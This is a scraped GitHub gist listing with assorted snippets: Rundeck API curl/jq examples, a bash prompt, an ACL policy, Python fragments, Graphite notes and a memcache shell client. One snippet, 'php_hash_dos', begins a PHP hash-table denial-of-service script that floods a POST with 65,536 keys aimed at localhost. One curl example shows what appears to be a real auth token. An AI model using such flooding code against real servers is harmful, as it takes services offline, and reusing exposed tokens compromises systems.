Skip to content

Instantly share code, notes, and snippets.

resty example, copy project config to a new project:

resty http://localhost:4440/api/11 -H 'x-rundeck-auth-token: ...'

json:

GET /project/NAME.json | jq '{ "name": ("NEWNAME"), config:.config }' | POST /projects -H 'content-type:application/json'

xml:

dignan:rundeck greg$ curl -O -J -H 'x-rundeck-auth-token:Do4d3NUD5DKk21DR4sNK755RcPk618vn' http://localhost:4440/api/11/project/ABC/export
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 237k 0 237k 0 0 71132 0 --:--:-- 0:00:03 --:--:-- 71138
curl: Saved to filename 'ABC-20140225-181150.rdproject.jar'
dignan:rundeck greg$
<div>Execution ${execution.id} was <b>${execution.status}</b></div>
<ul>
<li><a href="${execution.href}">Execution result</a></li>
<li><a href="${job.href}">Job</a></li>
<li><a href="${execution.projectHref}">Project: ${execution.project}</a></li>
<li><a href="${rundeck.href}">Rundeck</a></li>
</ul>
<p>
</p>
function prompt_func() {
previous_return_value=$?;
prompt="\h:\W \u"
if test $previous_return_value -eq 0
then
PS1="${prompt}🍺 "
else
PS1="${prompt}💩 "
fi
}
{
"description": "MyGroup allowed access to MyProject only",
"context": {
"application": "rundeck"
},
"for": {
"project": [
{
"match": {
"name": "MyProject"
@ri0day
ri0day / datatables.py
Last active August 29, 2015 14:14 — forked from pebreo/datatables.py
"""
http://datatables.net/forums/discussion/13679/working-code-for-server-side-paging-filtering-sorting-for-python-flask-mongodb
I wrote a python script for implementing server-side DataTables using python, flask, and mongodb. It works very well for me, so I thought I'd share the code for anyone that needs it. Below is the script generalized as a template for you guys.
by luv_tables
January 2013
"""
from collections import namedtuple
from pymongo import MongoClient
#!/usr/bin/env python
# Parse disk:* from lshw -xml
"""
Sample Output:
ATA Disk Hitachi HDS72105 /dev/sda
Disk Space: 500107862016
Sector size: 512

Installing Graphite:

Graphite does two things:

  1. Store numeric time-series data
  2. Render graphs of this data on demand

What Graphite does not do is collect data for you, however there are some tools out there that know

@ri0day
ri0day / gist:1563407
Created January 5, 2012 02:30
php_hash_dos
<?php
$size = pow(2, 16);
for ($key = 0, $maxKey = $size - 1; $key <= $maxKey; ++$key)
{
$post_string = $post_string.$key . '=1' .'&';
}
//echo $post_string, "\n";
//create cURL connection
$curl_connection =
curl_init('http://127.0.0.1/a.php');
@ri0day
ri0day / memcache_cli.sh
Created December 30, 2011 08:54
bash memcache cli
#!/bin/bash
#filename cm.sh
#author:wumin
#---Date:2011.12.29 pm---
#notice:not suport kind of ubuntu and debian system.(debian not suport /dev/tcp/host/port stye )
usage() {
format_usage="Usage:\n